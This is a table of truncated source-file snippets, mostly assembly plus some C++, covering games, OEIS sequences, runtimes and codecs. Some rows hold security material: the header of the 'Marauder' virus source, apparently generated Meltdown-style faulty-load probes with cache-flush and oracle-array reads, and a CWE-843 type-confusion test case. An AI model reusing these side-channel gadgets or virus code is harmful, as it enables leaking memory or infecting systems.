text stringlengths 1 1.05M |
|---|
; Minimal Window Theme
align 4
wm_color dd 0x808080
;wm_color dd 0x004288
window_title dd 0xFFFFFF
window_inactive_title dd 0xC0C0C0
window_border dd 0x808080
window_active_border dd 0x404040
window_active_outline dd -1 ; no outline
window_close_color dd 0xD80000
window_background dd 0xD0D0D0
window_opa... |
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %rbp
push %rbx
push %rsi
// Faulty Load
lea addresses_RW+0x15e79, %r15
nop
nop
nop
xor $57619, %r10
movb (%r15), %bl
lea oracles, %r15
and $0xff, %rbx
shlq $12, %rbx
mov (%r15,%rbx,1), %rbx
pop... |
db 0 ; species ID placeholder
db 65, 80, 40, 75, 45, 80
; hp atk def spd sat sdf
db BUG, POISON ; type
db 45 ; catch rate
db 159 ; base exp
db HIDDEN_NEEDLE, POISON_BARB ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 15 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/b... |
; unsigned char esx_ide_browser(uint8_t browsercaps, void *filetypes, char *help, char *dst_sfn, char *dst_lfn)
SECTION code_esxdos
PUBLIC esx_ide_browser_callee
EXTERN asm_esx_ide_browser
esx_ide_browser_callee:
pop af
pop de
pop bc
pop hl
pop ix
exx
pop bc
push af
ld a,c
exx
... |
; "Marauder" Virus
; AKA Deadpool-B
;
; By Hellraiser
; Of Phalcon/Skism
;
; For virus reseach only
;
; I always wanted to release this source, so here it is. Now that it's been caught
; take a look at whats inside.
;
; I know it's no great thing, but it's good to learn from. It contains basic
; encryption, mutation... |
/* Copyright 2019 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or a... |
.data
string: .asciiz "Arquitetura de computadores I"
str0: .asciiz "String: "
str1: .asciiz "String length: "
str2: .asciiz "\n"
.eqv print_int10, 1
.eqv print_string, 4
.eqv func, $v0
.eqv arg0, $a0
.eqv arg1, $a1
.eqv len, $t0
.eqv strp, $t1
.eqv char, $t2
.eqv
.text
.globl main
main:
la arg0, str0
li... |
; Licensed to the .NET Foundation under one or more agreements.
; The .NET Foundation licenses this file to you under the MIT license.
; See the LICENSE file in the project root for more information.
; ==++==
;
;
; ==--==
;
; FILE: asmhelpers.asm
;
; *** NOTE: If you make changes to this file, propagate the changes... |
db "PSI@" ; species name
dw 411, 1060 ; height, weight
db "It has an IQ of"
next "5000. It calcu-"
next "lates many things"
page "in order to gain"
next "the edge in every"
next "battle.@"
|
;
; CPC Maths Routines
;
; August 2003 **_|warp6|_** <kbaccam /at/ free.fr>
;
; $Id: stkequcmp.asm,v 1.4 2016-06-22 19:50:49 dom Exp $
;
SECTION code_fp
INCLUDE "target/cpc/def/cpcfp.def"
PUBLIC stkequcmp
.stkequcmp
pop de ;return address
pop bc ;dum... |
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE843_Type_Confusion__char_82a.cpp
Label Definition File: CWE843_Type_Confusion.label.xml
Template File: sources-sink-82a.tmpl.cpp
*/
/*
* @description
* CWE: 843 Type Confusion
* BadSource: char Point data to a char data type
* GoodSource: Point data to an in... |
// Copyright (C) 2017 Jérôme Leclercq
// This file is part of the "Erewhon Server" project
// For conditions of distribution and use, see copyright notice in LICENSE
#include <Server/Scripting/LuaTypes.hpp>
#include <Nazara/Lua/LuaState.hpp>
#include <optional>
namespace ewn
{
}
namespace Nz
{
template<typename T>
... |
lc r4, 0x00000000
lc r5, 0x0000101f
lc r6, 0x00000000
tlbse r6, r4
lc r8, 0x40000000
lc r9, 0x0000101f
lc r10, 0x00000001
tlbse r10, r8
lc r11, 0xdeadbeef
lc r12, 0x40000002
lc r13, 0x40000002
st1 r11, r13, 0
halt
#@expected values
#r4 = 0x00000000
#r5 = 0x0000101f
#... |
.586
.model flat, stdcall
option casemap: none
COMMENT <com>
Поключение необходимых библиотек:
---------------------------------
<com>
include /masm32/include/masm32.inc
includelib /masm32/lib/masm32.lib
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib
include /masm32/includ... |
; A060453: Dot product of the squares and the quarter-squares: a(n) = sum(i=1..n, i^2 * floor(i^2/4)).
; 0,4,22,86,236,560,1148,2172,3792,6292,9922,15106,22204,31808,44408,60792,81600,107844,140334,180334,228844,287408,357236,440180,537680,651924,784602,938266,1114876,1317376,1548016,1810160,2106368,2440452
mov $23,$0... |
/*************************************************************************
> File Name: 2.cpp
> Author: Louis1992
> Mail: zhenchaogan@gmail.com
> Blog: http://gzc.github.io
> Created Time: 一 12/22 21:47:37 2014
************************************************************************/
#include<iostream>
using n... |
; A140261: The length of Sapro's necklace at successive years in Werneck's Black Pearl Necklace problem.
; 3,5,7,10,14,21,32,47,71,106,158,237,356,533,800,1199,1799,2698,4046,6069,9104,13655,20483,30724,46085,69128,103691,155537,233305,349957,524935,787402,1181102,1771653,2657480,3986219,5979329,8968993
mov $1,6
lpb $... |
#include "Odometry.h"
DiffDriveOdom::DiffDriveOdom(EncoderPins pins, int encoder_rate, DiffDriveParams params)
{
// Initialize the encoders.
enc_left_= new Encoder(pins.left_1, pins.left_2);
enc_right_ = new Encoder(pins.right_1, pins.right_2);
// Save the parameters.
COUNTER_PER_ROTATION_ = enco... |
; A056108: Fourth spoke of a hexagonal spiral.
; 1,5,15,31,53,81,115,155,201,253,311,375,445,521,603,691,785,885,991,1103,1221,1345,1475,1611,1753,1901,2055,2215,2381,2553,2731,2915,3105,3301,3503,3711,3925,4145,4371,4603,4841,5085,5335,5591,5853,6121,6395,6675,6961,7253,7551,7855,8165,8481,8803,9131,9465,9805,10151,10... |
object_const_def ; object_event constants
const OLIVINEPOKECENTER1F_NURSE
const OLIVINEPOKECENTER1F_FISHING_GURU
const OLIVINEPOKECENTER1F_FISHER
const OLIVINEPOKECENTER1F_TEACHER
OlivinePokecenter1F_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
OlivinePokecenter1FNurseScript:
jumpstd pokecenternurse
Ol... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: tsCharClassUtils.asm
AUTHOR: John Wedgwood, Nov 26, 1991
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Da... |
/*
* Copyright information and license terms for this software can be
* found in the file LICENSE that is included with the distribution
*/
/**
* @author mrk
* @date 2013.04.02
*/
#include <pv/pvDatabase.h>
#include <pv/timeStamp.h>
#include <pv/standardField.h>
#include <pv/pvAlarm.h>
#include <pv/channelProvi... |
text:
$93 18 5
"NOW PLAYING FROM TAPE:" 13
13
13
" " 18 5"\"SUPER MARIO THEME\"" 13
13
13
"REWIND OR FORWARD THE" 13
"TAPE IF YOU SO DESIRE." 13
" OUTPUT IS " @(string-list (princ *nipkow-pulse-rate* nil)) "HZ AT" 13
" FOUR BITS." 13
0
|
//////////////////////////////////////////////////////////////////////////////
//
// (C) Copyright Ion Gaztanaga 2011-2012. Distributed under the Boost
// Software License, Version 1.0. (See accompanying file
// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)
//
// See http://www.boost.org/libs/contain... |
%include "include/u7si-all-includes.asm"
defineAddress 223, 0x000F, havePlayerSelect_setUnusedField
defineAddress 223, 0x0039, havePlayerSelect_checkingForClick
defineAddress 223, 0x007B, havePlayerSelect_haveMouseXInDi
defineAddress 223, 0x00F9, havePlayerSelect_loopStart
defineAddress 223, 0x0105, havePlayerSelect_l... |
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) Geoworks 1995 -- All Rights Reserved
GEOWORKS CONFIDENTIAL
PROJECT: Jedi
MODULE: Gadgets Library
FILE: uiCommon.asm
AUTHOR: Jacob A. Gabrielson, Jan 11, 1995
ROUTINES:
Name Description
---- ---------... |
// Copyright (c) 2009-2010 Satoshi Nakamoto
// Copyright (c) 2009-2014 The Bitcoin developers
// Copyright (c) 2016-2018 The PIVX developers
// Copyright (c) 2018 Proximity project (see more at https://prox.cash)
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensourc... |
_ltst4: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#endif // BENNY_MOOTEX
int
main(int argc, char **argv)
{
0: 55 push %ebp
#ifdef BENNY_MOOTEX
int i = 0;
int num_threads = NUM_THREADS;
int begin_date = 0;
int end_date = 0;
benny_thread_t ... |
; char __fsgt_callee(float left, float right)
SECTION code_clib
SECTION code_fp_math48
PUBLIC cm48_sdccixp_dsgt_callee
EXTERN cm48_sdccixp_dcallee2, am48_dgt
cm48_sdccixp_dsgt_callee:
; (left > right)
;
; enter : sdcc_float right, sdcc_float left, ret
;
; exit : HL = 0 and carry reset if false
... |
; A329195: a(n) = floor(log_5(n^2)) = floor(2 log_5(n))
; 0,0,1,1,2,2,2,2,2,2,2,3,3,3,3,3,3,3,3,3,3,3,3,3,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
add $0,1
pow $0,2
log $0,5
mov $1,$0
|
Name: zel_bg30.asm
Type: file
Size: 82235
Last-Modified: '2016-05-13T04:22:15Z'
SHA-1: C51674F98FE5355320675FEEF96F79BD9A65E975
Description: null
|
#include "tracepp.h"
int main()
{
tracepp::setPrintFunc([](const std::string &file, const int line, const std::string &func,
const std::string &expr, const std::string &value) {
std::cout << "[CUSTOM] " << file << ":" << line << ":" << func << "(): " << expr << " = "
<< v... |
; A211388: Expansion of 1/((1-2*x)^6*(1-x)).
; 1,13,97,545,2561,10625,40193,141569,471041,1496065,4571137,13516801,38862849,109051905,299565057,807600129,2141192193,5592842241,14413725697,36698062849,92408905729,230359564289,568965726209,1393398120449,3385776406529,8167484293121,19570018484225,46598247677953,1103076450... |
;********************************************************************************************************
; uC/OS-III
; The Real-Time Kernel
;
; Copyright 2009-2021 Silicon Laboratories Inc. www.silabs.com
;
; ... |
; A011857: Triangle of numbers [ C(n,k)/k ], k=1..n-1.
; Submitted by Jon Maiga
; 2,3,1,4,3,1,5,5,3,1,6,7,6,3,1,7,10,11,8,4,1,8,14,18,17,11,4,1,9,18,28,31,25,14,5,1,10,22,40,52,50,35,17,5,1,11,27,55,82,92,77,47,20,6,1,12,33,73,123,158,154,113,61,24,6,1,13,39,95,178,257,286,245,160
lpb $0
add $1,1
sub $0,$1
lpe
add... |
; A081623: Number of ways in which the points on an n X n square lattice can be equally occupied with spin "up" and spin "down" particles. If n is odd, we arbitrarily take the lattice to contain one more spin "up" particle than the number of spin "down" particles.
; 1,1,6,126,12870,5200300,9075135300,63205303218876,183... |
;
; Kaypro ('83 versions) pseudo graphics routines
; Version for the standard text symbols
;
; Stefano Bodrato 2018
;
;
; Xor pixel at (x,y) coordinate.
;
;
; $Id: xorpixl_83.asm $
;
INCLUDE "graphics/grafix.inc"
SECTION code_clib
PUBLIC xorpixel
EXTERN plot_end_83
EXTERN plot_decod... |
; A017624: (12n+8)^8.
; 16777216,25600000000,1099511627776,14048223625216,96717311574016,457163239653376,1677721600000000,5132188731375616,13685690504052736,32784148919812096,72057594037927936,147578905600000000
mul $0,12
add $0,8
pow $0,8
|
%include "macros/patch.inc"
%include "macros/datatypes.inc"
%include "TiberianSun.inc"
sstring str_SoundsMIX, "SOUNDS.MIX"
sstring str_TILong, "Twisted Insurrection"
sstring str_DTAGameWindow, "TI (Game Window)"
sstring str_LanguageDLLNotFound, "Language.dll not found, please start TwistedInsurrection.exe and click Sa... |
; A079001: Digital equivalents of letters A, B, C, ..., Z on touch-tone telephone keypad.
; 2,2,2,3,3,3,4,4,4,5,5,5,6,6,6,7,7,7,7,8,8,8,9,9,9,9
add $0,4
lpb $0,1
trn $0,3
mov $2,$1
trn $2,6
add $0,$2
add $1,1
lpe
|
#include "output_g4_file.h"
void output_g4_file()
{
std::ofstream outfile, outfileJudge;
outfile.open("G_code.txt", std::ios::out, std::ios::trunc);
outfileJudge.open("G_code_posjudge.txt", std::ios::out, std::ios::trunc);
outfile.precision(10);
outfileJudge.precision(10);
print_g4_file(outfile... |
;++
;
; Copyright (c) Microsoft Corporation. All rights reserved.
;
; Licensed under the MIT License.
;
; Module Name:
;
; QgemmU8S8KernelAvx2.asm
;
; Abstract:
;
; This module implements the kernels for the quantized integer matrix/matrix
; multiply operation (QGEMM).
;
; This implementation uses AVX2 instruct... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r14
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x133d3, %rbx
nop
nop
nop
cmp $34330, %r14
movb (%rbx), %r8b
nop
nop
nop
nop
cmp $56728, %r10
lea addresses_normal_ht+0x15cd3, %rsi
lea addresses_normal_ht+0x8db3, %rdi
clflush ... |
;
; Copyright (c) 2016, Alliance for Open Media. All rights reserved
;
; This source code is subject to the terms of the BSD 2 Clause License and
; the Alliance for Open Media Patent License 1.0. If the BSD 2 Clause License
; was not distributed with this source code in the LICENSE file, you can
; obtain it at www.aome... |
db 0 ; species ID placeholder
db 45, 35, 45, 35, 62, 53
; hp atk def spd sat sdf
db GRASS, GRASS ; type
db 190 ; catch rate
db 55 ; base exp
db NO_ITEM, MIRACLE_SEED ; items
db GENDER_F50 ; gender ratio
db 20 ; step cycles to hatch
INCBIN "gfx/pokemon/cherubi/front.dimensions"
db GROWTH_MEDIUM... |
SECTION "ROM Bank 1B", ROMX[$4000], BANK[$1B]
db $C3, $09, $40, $C3, $9E, $4D
toc_1B_4006:
jp toc_1B_401E
db $21, $00, $D3, $36, $00, $2C, $20, $FB
db $3E, $80, $E0, $26, $3E, $77, $E0, $24
db $3E, $FF, $E0, $25, $C9
toc_1B_401E:
ld hl, $D368
ldi a, [hl]
and a
jr ... |
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_UC_ht+0x156ec, %r9
add $47163, %r15
mov $0x6162636465666768, %r14
movq %r14, %xmm2
movups %xmm2, (%r9)
nop
nop
nop
and %rsi, %rsi
lea addresses_WT_ht+0x744c, %r9
nop
nop
nop
and $52908, %rdx
m... |
; Takes an unsigned integer and converts it to its string representation in hexadecimal
; and inserts that at the given address.
; Up to 8 bytes are overwritten at the given address,
; though the exact number is (floor(log16(<uint>)) + 1) assuming <uint> isn't zero.
; Input: ESI - address of buffer to overwrite
; ... |
;*****************************************************************************
;* MMX/SSE2/AVX-optimized 10-bit H.264 iDCT code
;*****************************************************************************
;* Copyright (C) 2005-2011 x264 project
;*
;* Authors: Daniel Kang <daniel.d.kang@gmail.com>
;*
;* This file is p... |
HasEnoughMoney::
; Check if the player has at least as much
; money as the 3-byte BCD value at hMoney.
ld de, wPlayerMoney
ld hl, hMoney
ld c, 3
jp StringCmp
HasEnoughCoins::
; Check if the player has at least as many
; coins as the 2-byte BCD value at hCoins.
ld de, wPlayerCoins
ld hl, hCoins
ld c, 2
jp Strin... |
; A087427: Number of lattice points on or inside the rectangle formed by [1 <= x <= (q-1)/2] and [1 <= y <= (p-1)/2], where p = n-th prime, q = (n-1)-st prime.
; Submitted by Jamie Morken(w4)
; 2,6,15,30,48,72,99,154,210,270,360,420,483,598,754,870,990,1155,1260,1404,1599,1804,2112,2400,2550,2703,2862,3024,3528,4095,44... |
#include "./MQ2.h"
MQ2::MQ2(float Voltage_Resolution, int ADC_Bit_Resolution, int pin)
: MQx(Voltage_Resolution, ADC_Bit_Resolution, pin) {}
float MQ2::readH2() {
return this->readSensor(MQ2_H2_a, MQ2_H2_b, 0);
}
float MQ2::readLPG() {
return this->readSensor(MQ2_LPG_a, MQ2_LPG_b, 0);
}
float MQ2::readCO() {
... |
org 0000h ; F000:0000
mov ax, $b800
mov es, ax
mov ax, $0801
m1: xor di, di
mov cx, 2000
@@: stosw
dec al
loop @b
jmp m1
hlt
|
global start
extern long_mode_start
section .text
bits 32
start:
mov esp, stack_top
mov edi, ebx ; Move Multiboot info pointer to edi
call check_multiboot
call check_cpuid
call check_long_mode
call set_up_page_tables
call enable_paging
call set_up_SSE
; load the 64-bit GDT
lgdt [gdt64.pointer]
; update... |
; A140777: a(n) = 2*prime(n) - 4.
; 0,2,6,10,18,22,30,34,42,54,58,70,78,82,90,102,114,118,130,138,142,154,162,174,190,198,202,210,214,222,250,258,270,274,294,298,310,322,330,342,354,358,378,382,390,394,418,442,450,454,462,474,478,498,510,522
cal $0,40 ; The prime numbers.
mul $0,2
sub $0,4
mov $1,$0
|
//
// __ __ __
// / / / /__ __ ____/ /_____ ____
// / /_/ // / / // __ // ___// __ \
// / __ // /_/ // /_/ // / / /_/ /
// /_/ /_/ \__, / \__,_//_/ \____/
// /____/
//
// ... |
/*
* Copyright 2009-2017 Alibaba Cloud All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required... |
copyright zengfr site:http://github.com/zengfr/romhack
00042A move.l D1, (A0)+
00042C dbra D0, $42a
004D1E move.l D0, (A4)+
004D20 move.l D0, (A4)+
022CF2 move.l ($2,A0), ($42,A6) [base+81D]
022CF8 move.w ($6,A0), ($46,A6) [base+81E, base+820]
0230BE movea.l ($42,A6), A2
0230C2 move.w D0, D3 [bas... |
; A257844: a(n) = floor(n/4) * (n mod 4).
; 0,0,0,0,0,1,2,3,0,2,4,6,0,3,6,9,0,4,8,12,0,5,10,15,0,6,12,18,0,7,14,21,0,8,16,24,0,9,18,27,0,10,20,30,0,11,22,33,0,12,24,36,0,13,26,39,0,14,28,42,0,15,30,45,0,16,32,48,0,17,34,51,0,18,36,54,0,19,38,57,0,20,40,60,0,21,42,63,0,22,44,66,0,23,46,69,0,24,48,72,0,25,50,75,0,26,52,7... |
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_UC_ht+0x15385, %r13
xor %r9, %r9
movb (%r13), %r8b
nop
cmp $53471, %rbx
lea addresses_D_ht+0x7315, %rsi
lea addresses_WC_ht+0x13d15, %rdi
nop
dec %r14
mov $90, %rcx
rep movsw
nop
nop
... |
; FV-1 Testing
;
; Program: ACC Persistence
;
; Expected output if ACC persists:
; - first sample output should be MIN
; - all following samples should be MAX
equ maxval 0x7fffff
equ minval 0x800000
equ max REG0
equ min REG1
skp RUN,main
clr
or ma... |
/*
* Copyright (C) 2017 Love Park Robotics, LLC
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law o... |
#include "pch.h"
#include "packages.h"
#include "install.h"
using namespace winrt;
using namespace Windows::ApplicationModel;
using namespace Windows::Foundation;
using namespace Windows::Management::Deployment;
using namespace Windows::System;
namespace WindowsAppSDKInstaller {
HRESULT RegisterPack... |
;
; jdcolmmx.asm - colorspace conversion (MMX)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
; Copyright 2009 D. R. Commander
;
; Based on
; x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.... |
;--------------------------------------------------------------------
; BANK $00
;--------------------------------------------------------------------
;--------------------------------------------------------------------
pushpc
org $008504
; ROUTINE: Copy 8 Colors from $d8e4 ($008504)
; copies $8 co... |
; A145312: Coefficients in expansion of E''_4(q), where E_4 is the Eisenstein series in A004009.
; Submitted by Jon Maiga
; 4320,40320,210240,604800,1814400,3467520,7862400,13080960,24494400,35164800,64753920,82293120,135233280,177811200,269625600,320785920,500346720,563068800,838857600,970905600,1329229440,1477681920,... |
; A096484: Integer part of the square root of [2n-1]-th decimal repunit.
; Submitted by Christian Krause
; 1,10,105,1054,10540,105409,1054092,10540925,105409255,1054092553,10540925533,105409255338,1054092553389,10540925533894,105409255338945,1054092553389459,10540925533894597,105409255338945977
mov $1,1
mov $2,1
mov $... |
; int __CALLEE__ vsscanf_callee(const char *s, const char *format, void *arg_ptr)
; 05.2008 aralbrec
XLIB vsscanf_callee
XDEF ASMDISP_VSSCANF_CALLEE
LIB vfscanf_callee
XREF LIBDISP_VFSCANF_CALLEE
.vsscanf_callee
pop hl
pop bc
pop de
exx
pop hl
exx
push hl
.asmentry
; enter : hl' = char *s
... |
###############################################################################
# Copyright 2019 Intel Corporation
# All Rights Reserved.
#
# If this software was obtained under the Intel Simplified Software License,
# the following terms apply:
#
# The source code, information and material ("Material") containe... |
%include "x86-helpers.asm"
nasm_util_assert_boilerplate
thunk_boilerplate
; a variant of define_bench that puts a "touch" function immediately following
; the
%macro make_touch 0
%ifndef current_bench
%error "current_bench must be defined for this to work"
%endif
GLOBAL current_bench %+ _touch:function
current_bench ... |
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r14
push %r15
push %r9
push %rax
push %rbp
push %rbx
lea addresses_A_ht+0x1792b, %r14
nop
nop
nop
nop
nop
inc %r12
movw $0x6162, (%r14)
nop
nop
nop
sub $41312, %rbp
lea addresses_normal_ht+0x13dab, %rax
nop
nop
add $17955, %rbx
mov (%rax), %r15d
nop
nop
nop
n... |
.global s_prepare_buffers
s_prepare_buffers:
push %r15
push %r8
push %rax
push %rbx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1cf6c, %rdx
add %rsi, %rsi
movw $0x6162, (%rdx)
nop
nop
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0x14f6c, %rbx
dec %r15
movl $0x61626364, (%rbx)
nop
nop
cmp %rdi, %rdi
lea addresses_WC_... |
; A008643: Molien series for group of 4 X 4 upper triangular matrices over GF(2).
; 1,1,2,2,4,4,6,6,10,10,14,14,20,20,26,26,35,35,44,44,56,56,68,68,84,84,100,100,120,120,140,140,165,165,190,190,220,220,250,250,286,286,322,322,364,364,406,406,455,455,504,504,560,560,616,616,680,680,744,744,816,816,888,888,969,969,1050,1... |
; A080724: a(0) = 2; for n>0, a(n) is taken to be the smallest positive integer greater than a(n-1) which is consistent with the condition "n is a member of the sequence if and only if a(n) == 1 mod 3".
; 2,3,4,7,10,11,12,13,14,15,16,19,22,25,28,31,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,55,58,61,64,67... |
; A143157: Partial sums of A091512.
; 0,1,5,8,20,25,37,44,76,85,105,116,152,165,193,208,288,305,341,360,420,441,485,508,604,629,681,708,792,821,881,912,1104,1137,1205,1240,1348,1385,1461,1500,1660,1701,1785,1828,1960,2005,2097,2144,2384,2433,2533,2584,2740,2793,2901,2956,3180,3237,3353,3412,3592,3653,3777,3840,4288,435... |
;------------------------------------------------------------------------------
;
; Copyright (c) 2007, Intel Corporation. All rights reserved.<BR>
; This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution. Th... |
; ArraySum Procedure (_arrysum.asm)
INCLUDE Irvine32.inc
.code
ArraySum PROC
;
; Calculates the sum of an array of 32-bit integers.
; Receives:
; ptrArray ; pointer to array
; arraySize ; size of array (DWORD)
; Returns: EAX = sum
;-----------------------------------------------------
ptrArray EQU [ebp... |
#include "pch.h"
#include "Sound.h"
int Sound::num_channels;
bool Sound::enabled_flag = false;
int* Sound::TimeStamps = nullptr;
bool Sound::Init(int channels, bool enableFlag)
{
Mix_Init(MIX_INIT_MID_Proxy);
auto result = Mix_OpenAudio(MIX_DEFAULT_FREQUENCY, MIX_DEFAULT_FORMAT, 2, 1024);
SetChannels(channels);
E... |
/*******************************************************************************
* The MIT License (MIT)
*
* Copyright (c) 2015 David Williams and Matthew Williams
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to ... |
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r15
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0xfa9, %rsi
lea addresses_D_ht+0x1c479, %rdi
nop
nop
nop
nop
add $4187, %rbp
mov $94, %rcx
rep movsb
nop
nop
nop
nop
nop
and $41058, %rbp
lea addresses_WC_ht+0x3979, %r10
nop
no... |
_mkdir: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "stat.h"
#include "user.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
7: ff 71 fc pushl -0x4(%ecx)
a: 55 ... |
/**
* Copyright (c) 2015, Timothy Stack
*
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice, this
* list of condi... |
.IFNDEF __MAP_ASM__
.DEFINE __MAP_ASM__
; Constants for map meta tile
.ENUMID 0 EXPORT
.ENUMID MAP_ENTRY_FLAT ; No meta tiles, emulates tilemap
.ENUMID MAP_ENTRY_METATILE_1x1 ; Meta tiles are 1x1
.ENUMID MAP_ENTRY_METATILE_2x2 ; 2x2
.STRUCT sMapDefinition
MetatileType DB ... |
; vi:syntax=z80
; ZEnv - Forth for the ZX Spectrum
; Copyright 2021 (C) - Christopher Leonard, MIT Licence
; https://github.com/veltas/zenv
; Stack operation words
HEADER drop, "DROP", 0
drop:
POP HL
JP next
HEADER two_drop, "2DROP", 0
two_drop:
POP HL
POP HL
JP next
HEADER dup, "DUP", 0
dup:
PUSH HL
... |
; A080590: a(1)=1; for n>1, a(n)=a(n-1)+3 if n is already in the sequence, a(n)=a(n-1)+4 otherwise.
; 1,5,9,13,16,20,24,28,31,35,39,43,46,50,54,57,61,65,69,72,76,80,84,87,91,95,99,102,106,110,113,117,121,125,128,132,136,140,143,147,151,155,158,162,166,169,173,177,181,184,188,192,196,199,203,207,210,214,218,222,225,229,... |
#include <bits/stdc++.h>
using namespace std;
int main(){
unordered_map<char,int> hash;
string a = "hello world";
cout<< hash['j'] << endl;
return 0;
} |
;; VGA hardware scrolling test
;; assumes that some test-data is already on the screen and then performs:
;; 1. Scroll down by 10 lines
;; 2. Scroll up by 5 lines
;; 3. Reset back to normal
;; after each line, a key needs to be pressed on UART and the scroll offset
;; is displayed on TIL
;; done by sy2002 in Janu... |
; A277393: a(n) = Integral_{x=0..infinity} H_n(x) * exp(-x), where H_n(x) is n-th Hermite polynomial.
; Submitted by Christian Krause
; 1,2,6,36,300,3000,35880,502320,8038800,144698400,2893937760,63666630720,1527999802560,39727994866560,1112383838966400,33371515168992000,1067888485926662400,36308208521506521600,1307095... |
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0xc09d, %rbx
clflush (%rbx)
nop
nop
nop
nop
nop
xor %r14, %r14
movb (%rbx), %r13b
nop
nop
nop
and $27859, %rcx
lea addresses_normal_ht+0x18d9d, %rsi
lea addresses_UC_ht+0x1981d... |
architecture wdc65816-strict
include "../../../src/common/assert.inc"
constant a = 0x00
constant b = 0x10
constant c = 0xff
constant d = 0x7e0000
constant e = 0x7e0010
constant f = 0x7e00ff
assertZeroPage(a)
assertZeroPage(b)
assertZeroPage(c)
assertZeroPage(d)
assertZeroPage(e)
assertZeroPage(f)
|
; / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /
; / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / / /
; / / / /
; / / Copyright 2021 (c) Navegos QA - optim... |
.data
number1: .float 5.0 # float variable number1 created
number2: .float 2.0 # float variable number2 created
.text
lwc1 $f2, number1 # number1 loaded into register $f2
lwc1 $f3, number2 # number2 loaded into register $f3
div.s $f0, $f2, $f3 # $f0 = $f2 / $f3
|
; A216762: a(n) = n * ceiling(log_2(n)) * ceiling(log_2(log_2(n))) * ceiling(log_2(log_2(log_2(n)))) ....
; 1,2,6,8,30,36,42,48,72,80,88,96,104,112,120,128,510,540,570,600,630,660,690,720,750,780,810,840,870,900,930,960,1188,1224,1260,1296,1332,1368,1404,1440,1476,1512,1548,1584,1620,1656,1692,1728,1764,1800
lpb $0
... |
// Copyright (c) 2020 Wayan Saka
// Copyright (c) 2020 The Pigycoin Core developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include <threadinterrupt.h>
CThreadInterrupt::CThreadInterrupt() : flag(false) {}
CThreadInte... |
//Cloots Village
Text($24879ABF, "Cloots Vill") ; fill 2 //Not evnough space for Village
Text($24879ACC, "[Hossie's House]") ; fill 3
Text($24879ADF, "[Cloots Village]") ; fill 1
//Run tutorial
Text($24879AF0, "[Point of Advice]") ; fill 13
Text($24879B0E, "In a hurry? Walk faster!") ; db NEWLINE, "Hold the ", RED, "... |
#include <iostream>
#include <fstream>
#include <algorithm>
#include <iterator>
#include <vector>
using namespace std;
ofstream fout("out.txt");
long long maxl = 0, maxs = 0,root=0;
vector <long long> MAX;
vector<long long> maxvector;
struct TreeItem {
TreeItem* leftson;
TreeItem* rightson;
long l... |
; A001511: The ruler function: 2^a(n) divides 2n. Or, a(n) = 2-adic valuation of 2n.
